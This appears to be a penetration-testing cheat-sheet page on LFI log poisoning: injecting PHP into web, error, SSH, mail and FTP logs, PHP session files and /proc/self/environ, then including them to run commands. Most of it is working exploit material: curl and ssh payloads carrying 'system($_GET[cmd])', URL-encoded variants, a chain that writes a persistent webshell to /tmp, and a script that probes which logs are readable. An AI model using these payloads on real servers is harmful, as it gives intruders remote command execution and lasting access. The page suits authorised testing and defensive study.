Skip to content

Log poisoning

Get attacker-controlled data into a server-side log file, then include the log via LFI. The PHP code in the log entry executes when included.

# Poison Apache/Nginx access log via User-Agent header
curl -A '<?php system($_GET["cmd"]); ?>' https://target/
# Include the log
?page=/var/log/nginx/access.log&cmd=id
# Poison PHP session - set the session value to PHP code
?page=<?php system($_GET["cmd"]); ?> # value goes into the session file
?page=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id # then include the session
# Other log sources
?page=/var/log/auth.log&cmd=id # SSH attempts log User-Agent-equivalents
?page=/var/log/mail.log&cmd=id # mail server can be poisoned via crafted emails
?page=/var/log/vsftpd.log&cmd=id # FTP login attempts
?page=/proc/self/environ&cmd=id # environment variables - Linux /proc

Success indicator: command output in the response after including the poisoned log.

Log poisoning is the fallback when:

  • Wrappers are blocked - data://, php://input filtered or allow_url_include = Off
  • No upload feature - can’t use the file-upload chain
  • expect:// not installed
  • Outbound network blocked - can’t RFI

What you need:

  1. LFI that executes included files
  2. A log or session file that records something you control
  3. Read access to that log via the LFI

The third requirement is the often-overlooked gate. Apache logs are root-readable; Nginx logs are usually www-data-readable. Check before committing.

The access log records HTTP requests with several attacker-controllable fields. The User-Agent is the cleanest:

192.168.1.10 - - [11/May/2026:20:00:00 +0000] "GET / HTTP/1.1" 200 1234 "-" "<USER_AGENT>"
└─── attacker control ───┘

Common paths:

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log # RHEL/CentOS
/var/log/httpd/error_log
# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
# Custom / framework-specific
/var/log/<appname>/access.log
/opt/<appname>/logs/access.log

When unknown, read the web server config to find the log directive:

?page=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf
?page=php://filter/convert.base64-encode/resource=/etc/nginx/nginx.conf

Look for CustomLog, ErrorLog, access_log, error_log directives.

?page=/var/log/nginx/access.log

If you see log content, read access works. If you see an error or empty response, read is blocked - most often because Apache logs are restricted to root/adm.

Set the User-Agent to PHP code in any request to the target:

Terminal window
curl -A '<?php system($_GET["cmd"]); ?>' https://target/

The access log now contains:

192.168.1.10 - - [11/May/2026:20:00:30 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET[\"cmd\"]); ?>"
?page=/var/log/nginx/access.log&cmd=id

PHP parses the entire log file looking for <?php ... ?> blocks. When it hits the poisoned line, it executes system($_GET["cmd"]) with cmd=id. The output appears in the response.

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Log size. Production access logs are huge. Including a 200MB log via LFI is slow and may time out or crash the server. Mitigate by testing on lab apps with small logs; in production, log poisoning is a known-loud and known-fragile path.
  • Quote escaping. Some log formats HTML-escape the User-Agent before writing. < becomes &lt;, breaking PHP parsing. Test the log entry after one poisoning request and verify the <?php is unencoded.
  • Multi-request escalation. Each command requires the log to contain the poisoning payload at execution time. The log accumulates - your first poisoning persists, so subsequent commands just re-include the log with a different cmd=.

Same as access log but writes when requests fail:

?page=/var/log/nginx/error.log

Error logs are sometimes more readable than access logs (different default permissions) and frequently smaller. To poison:

Terminal window
# Force an error containing your User-Agent or other controllable field
curl -A '<?php system($_GET["cmd"]); ?>' https://target/nonexistent-path

The 404 generates an error log entry containing the User-Agent. Same inclusion pattern as access log.

Beyond User-Agent, error logs sometimes record:

  • Referer header - when a referrer-based check fails
  • Request URI - when a path with special characters causes a parse error
  • Authentication failures - username from Basic Auth attempts:
Terminal window
# The Authorization header reveals the username on auth failure
curl -u '<?php system($_GET["cmd"]); ?>:anything' https://target/protected

The error log records: user 'shellpayload' authentication failure for /protected.

PHP stores session data in files on disk, named after the PHPSESSID cookie:

/var/lib/php/sessions/sess_<PHPSESSID> # Linux default
C:\Windows\Temp\sess_<PHPSESSID> # Windows default

The file contents are a serialized PHP structure with whatever session variables the application set. If the application sets a session value from user input, you can poison the session.

The PHPSESSID cookie in your browser tells you the filename:

Cookie: PHPSESSID=nhhv8i0o6ua4g88bkdl9u1fdsd
/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

Include the session file and see what’s in it:

?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

A typical output:

page|s:6:"es.php";preference|s:7:"english";

Each name|s:N:"value"; is a session variable. The name is set by the application; the value came from somewhere.

Determine which session variables you can control. Common candidates:

  • Last visited page (often the ?page= parameter itself - a perfect self-poisoning loop)
  • Language preference
  • Theme
  • Search query
  • Recently viewed items

Set the controlled value to PHP code. If the page value is stored in the session:

Terminal window
curl 'https://target/?page=<?php system($_GET["cmd"]); ?>' \
-b 'PHPSESSID=nhhv8i0o6ua4g88bkdl9u1fdsd'

URL-encoded:

Terminal window
curl 'https://target/?page=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E' \
-b 'PHPSESSID=nhhv8i0o6ua4g88bkdl9u1fdsd'

Now the session file contains:

page|s:30:"<?php system($_GET["cmd"]); ?>";preference|s:7:"english";
?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

PHP parses the file, hits the <?php ... ?> block inside the session value, executes.

  • The session file is overwritten on every request. When you include the session via LFI, the application processes your request normally - which updates the session, replacing the poisoned page value with /var/lib/php/sessions/sess_xxx. Subsequent inclusions see the LFI path inside the session value, not your shell.

    Mitigation: re-poison before each include. Or chain to a persistent shell:

    Terminal window
    # Use the first execution to write a permanent shell
    curl 'https://target/?page=%3C%3Fphp%20file_put_contents%28%22%2Ftmp%2Fx%22%2C%22%3C%3Fphp%20system%28%5C%24_GET%5B%5C%22c%5C%22%5D%29%3B%20%3F%3E%22%29%3B%20%3F%3E' \
    -b 'PHPSESSID=nhhv8i0o6ua4g88bkdl9u1fdsd'
    # Now include /tmp/x for all future commands (no re-poisoning needed)
    curl 'https://target/?page=/tmp/x&c=id'
  • Session permissions. PHP session files are typically owned by www-data with 600 permissions - accessible to the web app itself (which the LFI runs in) but not the operator directly. The LFI’s read access is what makes inclusion possible.

Linux exposes process environment variables via /proc/<pid>/environ. The current process is accessible as /proc/self/environ:

?page=/proc/self/environ

The file’s content is a null-separated list of environment variables - including HTTP_USER_AGENT, which the web server set from your request:

USER=www-data\0HTTP_USER_AGENT=<?php system($_GET["cmd"]); ?>\0PATH=/usr/bin:/bin\0...

Poison by setting User-Agent in a single request and including /proc/self/environ in the same request (or the next):

Terminal window
curl -A '<?php system($_GET["cmd"]); ?>' \
'https://target/?page=/proc/self/environ&cmd=id'
  • Linux only - /proc is Linux-specific. Windows targets don’t have this file.
  • Permission restrictions - /proc/self/environ is readable to the process owner. The web app reads its own environ fine. But under PHP-FPM or with open_basedir restrictions, the read may fail.
  • PID variability - /proc/self/ always points to the current process. /proc/<NUMBER>/environ for other processes works if accessible, but the PID varies.

When sshd logs login attempts, the attempted username is recorded. A malformed username containing PHP poisons the log:

Terminal window
# Attempt SSH login with PHP as the username
ssh '<?php system($_GET["cmd"]); ?>'@target.example.com
# Type any password; it fails; the username is logged

The auth log records:

May 11 20:00:30 target sshd[1234]: Failed password for invalid user <?php system($_GET["cmd"]); ?> from 192.168.1.10 port 5555 ssh2

Include:

?page=/var/log/auth.log&cmd=id
  • /var/log/auth.log is usually root-readable only. LFI as www-data typically can’t read it. Check before relying on this.

  • Shell quoting. The SSH client may reject usernames with <, >, ?, and shell metacharacters. Quote carefully or escape via base64 + decode wrapper:

    Terminal window
    ssh "$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ | base64 -d)"@target

    (The base64 trick doesn’t actually help here because the shell-quoting issue is in the SSH client’s username field, not the bash command. Direct quoting with single quotes usually works.)

When the application sends emails (registration confirmation, password reset), the mail logs record sender/recipient addresses:

?page=/var/log/mail.log

Poisoning: trigger a feature that emails to an attacker-supplied address, set the address to PHP code:

attacker.com<?php system($_GET["cmd"]); ?>

Most mail systems will reject this as malformed - but the attempt may still be logged before rejection.

  • Highly variable based on mail configuration. Some logs contain the malformed address; others sanitize. Test.
  • /var/log/mail.log is also typically root-readable. The LFI-as-www-data reach is limited.

If the target runs an FTP service (vsftpd, ProFTPD), login attempts are logged with the attempted username:

?page=/var/log/vsftpd.log

Poison via attempted FTP login with PHP as the username. Similar to SSH log poisoning, the log file’s read permissions are the gating factor.

A real engagement chains: confirm LFI, identify which logs/sessions are readable, poison the most accessible one, include.

Terminal window
# 1. Confirm LFI
curl 'https://target/?page=/etc/passwd'
# 2. Check log readability
for log in /var/log/nginx/access.log /var/log/apache2/access.log /var/log/auth.log /proc/self/environ; do
response=$(curl -s "https://target/?page=$log")
if [ -n "$response" ]; then
echo "[+] Readable: $log"
fi
done
# 3. Poison the readable log via the cheapest channel
curl -A '<?php system($_GET["cmd"]); ?>' https://target/
# 4. Include
curl "https://target/?page=/var/log/nginx/access.log&cmd=id"

Confirm log inclusion works without committing to a poisoning attack:

Terminal window
# Just include a log and verify it has content
curl "https://target/?page=/var/log/nginx/access.log" | head -c 500
# Confirm User-Agent appears in the log
curl -A "MY_UNIQUE_PROBE_$(date +%s)" https://target/
sleep 1
curl "https://target/?page=/var/log/nginx/access.log" | grep MY_UNIQUE_PROBE

If the probe string appears in the log inclusion response, poisoning is technically feasible - though execution still depends on the LFI sink executing PHP.

  • Log poisoning is loud. Each poisoning attempt writes to logs that defenders monitor. Successful exploitation leaves a clear trace. Unlike wrapper-based RCE, this attack is guaranteed to generate audit-log entries - both the poisoning request and the inclusion.
  • The log might be rotated. When you include the log to execute the poisoned payload, the log might already have rotated (access.log.1, access.log.gz). Include the rotated version, or re-poison and include immediately.
  • Pre-existing log entries may also contain executable content. If a previous tester or operator poisoned the log and didn’t clean up, the log might already contain <?php ... ?> blocks. An LFI inclusion of the log “just works” without explicit poisoning. Worth checking before assuming the log needs poisoning.
  • open_basedir may block /var/log/ access. Even when the log is technically readable to www-data, a PHP-side open_basedir = /var/www restriction prevents PHP from reading outside that tree. Check the PHP config first.